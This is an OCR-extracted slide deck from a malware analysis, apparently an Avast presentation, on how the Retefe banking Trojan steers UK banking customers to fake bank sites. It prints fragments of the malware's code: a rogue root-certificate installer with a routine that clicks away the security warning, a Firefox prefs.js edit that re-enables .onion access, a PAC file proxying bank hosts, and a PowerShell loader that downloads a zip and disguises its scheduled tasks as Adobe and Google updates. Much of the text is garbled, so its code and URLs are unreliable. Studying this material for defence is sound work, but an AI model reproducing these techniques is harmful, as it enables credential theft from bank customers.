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Proxy auto-config (PAC)

Defines how web browsers automatically choose the appropriate proxy server to fetch a given URL

[Flfunction FindProxyForURL(url, host) ({

Several predefined functions: var proxy = "SOCKS 109,234.37.93:88:";
isPlainHostName(), dnsDomainls(), var hosts = new Array('*barclays.co.uk’,
localHostOrDomainls(), isResolvable(), isinNet(), E e ::E:E;E:puat:h*:hl;::tshij:if]]I;JH:} {
dnsResolve(), mylpAddress(), dnsDomainLevels(), return proxy

shExpMatch(), weekdayRange(), dateRange(), - }

timeRange() retarn "

=)
» Must contain JavaScript function “FindProxyForURL(url, host)”, which returns:
« DIRECT - Connections should be made directly, without any proxies

« PROXY host:port - specifies which proxy should be used
« SOCKS host:port - specifies SOCKS server

Source: http:/ffindproxyforurl.com/netscape-documentation/ _
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PAC in Chrome / FF / IE

Chrome

Settings -> Advanced Settings -> Change proxy settings...

-> LAN Settings

Internet Explorer

Tools -> Internet Options -> Connections -> LAN Settings

Firefox

Tools -> Options -> Advanced -> Network.

K" Local frea Metwork [LAM) Settings b4

Aurtnmate corfiguration

Automalic confgurabon may override manual sethngs, To ensune the
use of manual settings, disshle autnmatc configuration.
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The history of Retefe

» In the past

« OLE embedding EXE file (RAR SFX, CPL, ..)
+ Reported to target Switzerland, Austria, Sweden, Japan

- References
« A close look at a targeted attack delivery (February 2014)

« hitps://blogs.technet. microsoft.com/mmpc/2014/02/27/a-close-look-at-a-targeted-attack-delivery/

* Finding Holes - Operation Emmental (July 2014), whitepaper

* hitp://'www.trendmicro.com/cloud-content/us/pdis/security-intelligence/white-papers/wp-finding-holes
operation-emmental.pdt

« The Circle Around Retefe ( May 2015), talk at CARO Workshop

» hitp://2015.caro.org/presentationsithe-circle-around-retefe
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Retefe now

- Nowadays

OLE embedding JavaScript file

Drops PowerShell scripts to install fake certificate

Simple JavaScript and PAC obfuscation

May install additional tools like Tor, Proxifier, etc...

Persistence may be added




Retefe now

- References

Retefe is back in town (April 2016)
= hitps:/lisc.sans.edu/diary/Retefe%2Bis%2Bback%2Bin%2Btown/20957

Thank You For Your Order Ref 58380529 Talkmobile - word doc malware (April 2016)

* https://myonlinesecurity.co.uk/thank-you-for-your-order-ret-58 3805.29%talkmobile-word-doc-malware/

Retefe banking Trojan targets UK banking customers (June 2016)
» hitps://blog.avast.comiretefe-banking-trojan-targets-uk-banking-customers

The evolution of the Retefe banking Trojan (July 2016)

» hitps://blog.avast. com/the-evolution-of-the-retete-banking-trojan
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* Victim double-clicks on OLE embedded script
* No need for an exploit kit
« No macros / no need to enable them
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Infection vector

» oleObject1.binis OLE Package

- OLE Package contains JavaScript with
various filenames

* Rechnung, Bestellung, Zahlung, Quittung,
DHL Paket, etc.

« Invoice, order, payment, package, etc.




Malicious JavaScript file
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L AT —.n-TH s
BE P G — any FErhint |.-\l.||--|-.|-||..|..“-.'|....|.|...-h [t Sy m ! |.|-|-.-.-.-| e
HELF . | el | § walf | rl.-l iy el g g | 88 b gk B o L L.dl.-...im'.u.-ﬂl b o A1 ||.-IMI bl liu. |-u|
B e g | = R e |y BT AL TH - |—nnu-|um|u.-|-|w BEE T 1D, LR e MR
™ Eval{} _:} dncument write{} l:r-'-n tirws |n.nh'_#|l-"lrmm|w3|p|h1n P !m-lln :_ -_.-::!ﬂrrr 1rfni-ll-i-nlr-rnlr-l- m:rhnrﬁl- Hrr-r—.lll-!nillmnlr ﬂ I|-il|-l'|lll'l-
= [ = =l - e sl o - = m-ﬂnlllq,-lnu! lh-l.u—.,ll.-n.-. ey L-H-_Ain
iu I I Ll e L e AR R AR H:.-qnnﬂ.lllb-.- PR EAERRES R r_._.'::--rq- nll:mmlnlﬂ.
nwiﬁw“ﬁlnlﬁrhlﬁ'ﬁ: N | wrpew i L wﬂ-lﬂmiﬂ "IH 1w l||-|l+ - me—— T
- a jrwt ame e | jerd H wm e R A e g e | g i h-,-...u.-n.-..a..--mnqun © il iy -
[ I S I b e P 3 i e et U e L | ] s - B8 s sl - i ':
HH-“JII_W'mfIIImHIIIIHm“d 3 i #EE Fag=n el -u.- -n.-n.l'-urr
J.E.m-ll = B ] ALY D i L, | e | e s P R lh-l-lll-\.ll' o Jlul-'-lrh-'\-ﬂ
[ H|m-|ll L e | i s Jrln.qu
r b i rq.m. | L.-.n-.u-.q. Vi Bl LB e S b 1] 0 LB R g B [ e md RS | S
TR B L P 1T R e LA SR A S L rll-.l-' h,lmaln.llw_la.-l AR o :|"H¢lll| h:

I-!-Il' = R -.IJ'-HI Iené 'll?\-ll-\ i e i e i L--'rl lllllhl-l'l-hl'll!l nl r.l-'luul-: !l_:.:_ L]
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« Malicious certificate authority
* PS script to “confirm certificate” Gvar SN - |

i!!

w & w L [Tca™, "'.'..-\."!..
* PS script to install cert to Firefox T et
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+ Config server URL behind TOR "




Malicious JavaScript file

function Cor=() {
this["Init"] = fanction() {
Cert = pew C Cert():
Cert"Initc™] ()
IE = new C IE():
» Core function g EETIMLES
. this["S5carc”] = fanction() {
* |nit this["Tnit"] {):
this["CloseAllBrowsars"]) ()i
« Drops cert.der, ps.psi, psfpsi this["TnstallIE"] [}
this["InstallFF"] ()i
WScript["5lesp™]) (5000) ;
this["Claa="] [}

§

- Eatéirt ki
thiz["InscalllE"] = fanetion() {
IE["InscallCert™] ()
TEf"InstallPac™] [}

« Installing on IE / FF 1!

this["Tn=srallFF"] = fanotien() {

« |E, Chrome - Windows Certificate Store lfi[rL]]”“

) L S }:
FF - its own certificate store thig["ClosehllBrowsers"] = funotion() f{
was["Run"] ("taskkill /F /im iexpla: ", 0, false);
was["Run"] ("taskkill /F /im firefax.exe", 0, false):
was["Run"] ("taskkill /F /im chrome.sxe™, 0, falaa)

It
L
<
!

* CloseAllBrowsers L

this["Clo=e"] = funotion() {
Cert["Clos="] ()
IE["Clas="] ()}
» Close FF["Clas="] ()
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Malicious JavaScript file

* Installing on Firefox
* Finds default profile in WMozilla\\Firefox\\Profiles

« Edits prefs.js

7 var Scrfrefada = ScrPFrofile + *““‘\prefs.ja":
» Delete blockDotOnion v
if {fac.FileExisca(ScrFrefada}} |
o - u
- DEIEtE ﬂEMﬂfk.PfﬂX_}" wvar ScrContcentc faoc.0penTexcE 1let5r.rf'reracra, L) Beadhll (}:
: var ArrContent = StrComtent.splic(“.n®}:
SE“IHQE var NewArrConctent = []:
for (var 1 = 0; 1 < ArrConcentc.lengcth; i#+) |
if {ArrConcenc[i].index0f ("necwork.dns.blockDocCnion™) Y =1} |
ArrConcenc[i] = ArrContentc[i].replace{"crus", "fal=e")
I
irf (ArrConcentc(i] .index0f {"necwork.proxy."™) = <1} |

HewArrConcentc.push {ArrConcenc[1])
]
}

HEHiIIEEnEEﬂE.pu!h["_3::_;;:5| "necwork.dns.plockDotOnion\y™,;, Falag)l:™):
SErConEAnt = NewArrConcentc.joim(™wn™):

VAr scream = ao.Creacelexcfile(ScrPrefada, troe):

scream.Write (SEECOREERT) ;

scream.Close ()
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Installing the certificate

. thig["InstallCert"] = fanetion{) {
- USES CEI‘tutII 1f {1thig["I=CercUcilTnscalled”]{}) {}:
thig["ConfirmCerc™] {) ;
was["Run"] ("cerctucil -addsrore -f —pser \"ROOT\™ \"" 4 Cerc["FileName"] + "%"", 0, troa)

« Uses "PS" PowerShell script to “confirm” security warning and click on Yes button

Security Wasning x|

¥ou are about to install a certificate from a certification suthonty (CA)
JL clairning to represent:

COMODD Certification Autharity

Wmdows cannot valsdate thet the certdficate iz actually from "COMODO
Cestification Authority”. You should confirm s origin by contacting
"COMODO Certification Authorty”. The following mumbser willl sssist
yiouw in this process:

Thurmbprint (shal): 34E808CA FERUEA CTEIETLS ESA00300 Fra43600

Waminge

K you install this roct certificate, Windows will automatically trust amy
cartificate issued by this CA. Installing a certificate with an unconfirned
thaurnbprint i a security nsk, I you cbck “Yes" you acknowledge this
rsk.

Dho you want to install this certificate?




Installing the certificate

» Finds a windows with Dialog Box system class in csrss or certutil process

« SendMessage, BM_CLICK

Cl
- # Ll - —
« Security warning quickly disappears
CombolBox
DOEMLEvent
[DllImpore ("iserid.dll™;, Char3et = Char3et.huta)) MMsﬁagE
static axcarn IntPtr SendMessag=(IntPtr EWnd, TInt32 M=g, IntPetr wParam, IntPer lParam) ;
cnn:F ink BE_ELICE wm GxOOFES§ #1768
public static woid Stare ()4
InePer hWnd:
do #327609
hind = FindWindow ("@#32770", nall):
if [(1hWnd.Equals{IncPee. Zara)) -
: 32770
Sering =ExelName=CarExafams (REnd) ;
if (GecExeMame (hWnd) .Concains ["cars=") || GetExeNams (hind) .Concains ("cercunil™)) w32TT1
{
braak ; P
L
}alea ks
|

hWnd=IncPCE. Zera !
¥

I
Iwhile (hWnd.Equals{IntPFtr.Zerac)) s

Drescription

The class fior the list box contained in a combo box

The class for Dynamic [Data Exchange Management Librany (DDEML) events
The class for a message-only window

The class for a menu

The class for the desktop window

The class for the task switch window,

The class for icon titles
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Installing the certificate

Fake certificate

" Cantiicates 24

Inberded purposs: il | | —m—————— JE PR E—-

S iﬁl:ﬁ 1-|
Ismumd To [msued By Exprabg,., Friendy Mams 2 i 0 i
RladdTrust Exterral ... AddTnust External CA,..  5/30/2020  The USERTnst. [ e = i
lBaltmore CyberTru. .. Baltmore CyberTrust...  5/12/2025 ert Balimor... | b, |
ﬂdﬂ!ﬁ.ﬂcm... Class 3Public Primary ... 3/1/2008 D?:\‘rﬁ.l;ndm:l ; Lz, Serial rumber 008765 bl el ab 5563 b
13/ U Sgnatune algonttm #haZSEREH

1 MO0 BESA Cart.. .

CglCopymight (<) 1997 ... Copmight ) 1557 M
LaltipCert dsmmed ... Diglert fsmaed DR, .. 11/8/2031  Daglert
ClDigiCert Gobwal Fipa, .. DigiCert Gobal Boot C& 1192031 Digilert

.. graitune hagh algori thn #azis

Lal0iCert igh Asmr... DigCertHigh Asmran.. 11572031  Digiert -
0 ¥ > = = = e oG L miydoman
! g g = QOO0 Cerlifcation Authorily
| Imgort... || Export.. ||_Il.|-rr-r-t | Adanced ] = COMODO Crrtfcason Authority
e e T e g ; [ -Eaﬂh'l:mhd CA Limitad
Cartfcabs nlended purposes tl=stv'a i
L kY

EditProperties.., | | CopytoFie.,. |
Leam more abows cerifcates [ | r £
. S PR e Y

HTTPS/550
banage certfcates..




Installing the certificate into Firefox

* Invokes imports from nss3.dll (Network Security Services)

CartTrusts CertTrust = mew CeccTrustsi)s
CartTrust,ifice = I
CertTrust,AEmail =

« CERT_GetDefaultCertDB i

ImcPre CercTalmparr = maw IncPre()

« Returns handle for default certificate database SRRl AT S Do

&1 ol ceI'h
int stabtos = I'FS&-_ IndcialigniaPrafile, *%, ¥, HE:H".“A.IJ_E“E. H Hﬁﬂ_lHIf_CPTIH.: ZESJPACE) -
if [=eatos i= ERROR_SOSCESSH
I

« CERT_ImportCerts |

IntPrr bd = CERT_GeclefaulcCertDE() s
« Imports the certificate el

[
H53 Shucdowr(} !
return false:

|
s CERT_ChangECEﬂ:TrUSt ::4:::“.:”:1:1:_;.%3:'::;;:31:?. s Ly e aferriven, raf CarcTolspers, (. O, Inclee Ze=a);

» Sets flag CERTDB_TRUSTED_CA HaS_Stusdown(}

raturn false;
¥

Marahal.Copy(CertToImport, aCercTolmpors, O, 1)32
statms = CERT ChargeCertTrust(bd, afercTolmporcii], re=f CercTrast).
if { status '« ERRIE_SUCCEES)
{

HES Shucdowr(] !

PRTLEn FalSe;:
Kd
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Installing the certificate into Firefox

» Code probably inspired by thread from exploit.in forum
« https://forum.exploit.infindex.php?showtopic=99705&mode=threaded&pid=616876

. | 8@ avast




Modification of PAC URL

» Uses hidden service gateway to access .onion domains

« URL matches regexp format
« \w+\.onion(\.to) V\w+\.js\?ip=\d{1,30\\d{1,3)\\d{1,30.\d{1,3)

% 1"‘-"’.‘.;‘3' '.'\u'E ﬁ L B
File Edit View Faworites Help
[ |, Feeds || Narme Type Data
+ :—T;IHE | b (Default) REG_SZ [walue not set)
g GOPI | 0 AutoConfigProxy REG_SZ wininet.dil
7 &M = J hitps.//emikmglogpf3bestm.onion be/YZOgQZZ) .
L IME o : B e
| IMEIR [ | -re= DiisableCaching... REG_DWORD
L IMEMIP "t'_. Ernailblame REG 57
| Instalier e EnableHttpl_1 REG_DWORD
Internet Connection Wizard £ ||| ¥ EnableNegotiate REG_DWORD
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Malicious PAC file

» |P address matters
« Non-UK |IP address

&= (B | htpssemkmgdegpBbesimoonion o T OgQ T [ 4 Q, Search an 9 4+ & 0 O

ANER onion.to doas not host this content; we are simply a conduit connecting Intermet users to content hosted mside the Tor network.,
T‘Dm. F’ » ondonto dees nol provide any anonymity. You are sbrongly adwised to downdoad the Tor Browser Bundle and access thas content owver Tor

For more information see gur website for more detadls and send us vour feedback.
hedag Tarzwgh haader

404 Not Found

« UK IP address
| (@ | httpsyfzmiono 2 ogpf s fr.onson.to, N2 a0 2 T s %o @ Q Segrch T E @ 4+ f B8 O =

eval{function{p.a ¢ k e d) {e=functionic) {retemic3 5 75tmng romCharCode(c+29):c toStrung(36)) ) o " replace] ™ Strngl ) [ while{c--){ d[e(c) =i o} lefc) } k=] functione) { returm
d[«]}];ie=function(} {retum™aw+' }o=1 } oodale{c-- M if(k[c ) {p=p replace{new RegExp("'b'+elc)"'b" g1 k[c]}} bretum p}'g m{lb){4 9="n J o kpx" 4 B=h d/*c, 1.2V V%) 30 V' e 3
VAL Vg 6 1 I VRS L 2 e L VR IV VB D L2 Vs 3 VR L VR AL L U A NV T A e LY Ve 1L 2V Ve (] i=0i=B own i Tie(b BN a

91 1a"E" ). 42,42 eojuk comvar| hebe i hosts|proxy retum host barclays|Amay mwolbbusiness waw inew natwest 1B 3 url FmdProxyForURL SOCK S 534 1 35 fonction| 80| cahoottescobamnl
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Malicious PAC file

function FindProxyForURL{url, hoat) |
VAT PIOXY = X 30.97:

+ Obfuscated with Dean Edwards packer T {’.‘?_"f_.’_._f_‘_“?“:___;?f”-"-'*'

eval (function (P, 8.8, K. 2,d)

* Proxy server URL
« |P address : port e Lngesatinn
« Onion URL : port Wnivssint

« Lists of hosts - targeting UK banks ‘esainabarysbant.coink .
'ereacobani.com®) ;
for (var i = 0; i < hosca.lengch; i+4} |
if (shExpMacch{hoac, hosaca[i]}} |
return proxy
¥

reatorn "LDIBRECT™

5]
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Tor, Proxifier _ T

A o
Esimmpies; imwpiore, mwes “some app. mae; fre® mees “bn | Broesg.
« At the end of June, additional tools and features were added Saethnte
. 'Tﬂr ;T;"“: LI e b b et bbb oo iocahostc 1777600, 1; SCanpaiermete; i iily.or

» Proxifier

Exampie! 127.0.0.1; ™.example com) 192, bS8, 1. 30, L.0.0-B0U5.255. 255

Target ports
Spurl = "hrep://"' # SDomain + '.link/p.zip?c=' + [System.DatceTime]::How.Ticks; Any
Ewe.DownloadFile (Spurl, 5PFile);
Unzip S5PFile 5DeatTIP:

rm - Force SPFile:;
Ep = SDeatTP # '\[
AddTaak "AdobeFlas

Exarngie: B0: S000-3000; 3138

Proxifier,sxe" ; Achorc  |Dwert x
hPlayerUpdate’ $p;

Stor = $DeatIF + '‘“\Tor\tor.exe';
LLor cmd = "-WindowStyle hiddenm "™ ° & = "[Dl1lImport (%" "userdz.dllyw'")] public static exXtern bool ShowWindow(int handle, int Scate) :'":
add - Cype — name win - member " 5S¢ - namespace natcive;
[nacive.win] : :ShowWindow | [ [Syatem.Diagnostice. Proceas] : :GecCurrencFroces= () |
Get = Froceas) . MainWipndowHandle, 0):

Start - Process - WindowStvle hidden - Wait - FilePath % © "Etor\w "}
mm .
AddTask 'GoogleUpdateTask' 'PowerShell.exe' $tor cmd;
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Persistence

- Newer versions are more persistent

* Download and use Task Scheduler Wrapper

@ Task Scheduler Managed Wrapper
m LELRCE LO0E

{ivs ki o coeibar @ weid s’ 18 O 0 Dxloeas Tk
el s

DSoiitols. Do L F R TAT e Bel Ui eliii HELEE B R LI Bl

download

Ol T g e B el veiDa R el

This proec i etk @ sealibh s haades

v ke L lyan radils e o [Tazkch: el Eaim [RE. He ey}
™ a5 '
= Ui Litwar Pt ke L ot s sl T ikl
Wyl ey AR
R o e g d v s D[ AHRE Wi mrrmon 0] b g e e che ) el mER Sl e I - . -
vida The duascipd sl iy Cloly Eoimind; s raee @ bpal] ikl Bt alink DVi 1O Jiterasdly ol 1
el oy b rs munpEEed B Eb AR rEl) o i PR RIS IR SR oF me T ey and G PE PATZF i rafvg

B gyutn jus Secigh AL Dors Rabais mkids

Scar=FDescTP+ " Taxz
5I‘.-::_:ud="—'.-i'..'.:|:'.-':'=!. Yls hidden "
AddTaak 'GooglelUpdaceTask' 'PowsrShell
SFFile=fanviTempt'\p.24ip";
Swc=new-gbject net.webclisnt;
fpurl="htep: 1

Fuwe . DownloadFile (fpurl ,$PFile) :
Unzip $#FFils FDesatTF:

rm -Force SPFile;

Sp=5De=scTP+""
AddTasak 'AdobeFlashPlayerUpdate' §p:

EQr . &x&’

(Exs" FLOXr omd:

—F T

pywPraoxifisr,

Status
Ready
Runming
Ready

Feady
Ready

MName

= Adobe Flash..,
i® AdobeFlash...
i5 GoogleUpda...
® GoogleUpda...
5 Googlellpda...

Triggers
At 401 PM every day - After triggered, repeat every 1 howr i
Multiple triggers defined
Mul'hph: ‘I:rigg-:r: defined
Multsple tniggers defined
At 1018 AM every day - After triggered, repeat every 1 hour

4 m . '

General | Triggers | Actions | Conditions | Settings | History (disabled)

Action Details -
Start @ program

Chblsers\winTAppData’ Roaming TF p'\Proxifier.ee

Ser3

VID11iImpozt |

'+Elomaint' . link/p.zipPe="+[Syscem.DaceTima] : tHow.Ticks

2.411%°")] public stat




Fake banking sites
W BARCLAYS
. ' CETT A
Request credentials a—
* Credit Card number
» Social number : '
-] T

* Mobile Phone number

« Security code [

« Difficult to recognize
+ Fake certificate https://bank.barclays.co.uk/

* Legitimate certificate | & Barclays Bank PLC [GB]| https://bank.barclays.co.uk/olb/auth/LoginLink.action

« Use counter to delay user action

Please wait...

06:02:51
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Intelligent Finance

Plzass wait

00:02:57

a avast



Santander
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More affected banks

Online Banking services

Ui e b by | Pl sl sreimmi




Comparing certificates

a | Certificate 4 p— - g - _
Cermral Detads Certficaton Path [@.ﬂ |'9'='iﬂ_=_i Certfication Path
Cerbficaton path Certhcation path
_': p— _.].CG'I‘J-I'.'EI:}_ : Certification Authonity
Cgl Symantec Class 3 EY 550 CA - G3 R b, b clavys. oo ui

¥ vars: bardays. co.uk

viem Certificsts e Certihicats
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|P Blacklisting

function FindProxyForURL (url,host) {recurn"DIRECI™}
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GUIDS per country

GUIDs per country

m CH m AT m GB
m DE ®FR ® Other

a avast



Hits per day (May - September)
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Summary

- Effective social engineering tactics used to trick banking customers
+ No “Enable content” or “Enable macros”

+ Added new target country (UK)

- No executable file, shifted completely to scripts
+ PowerShell, JavaScript

« Additional tools (Tor, Proxifier) and persistence

« Both proxy and config URL behind TOR
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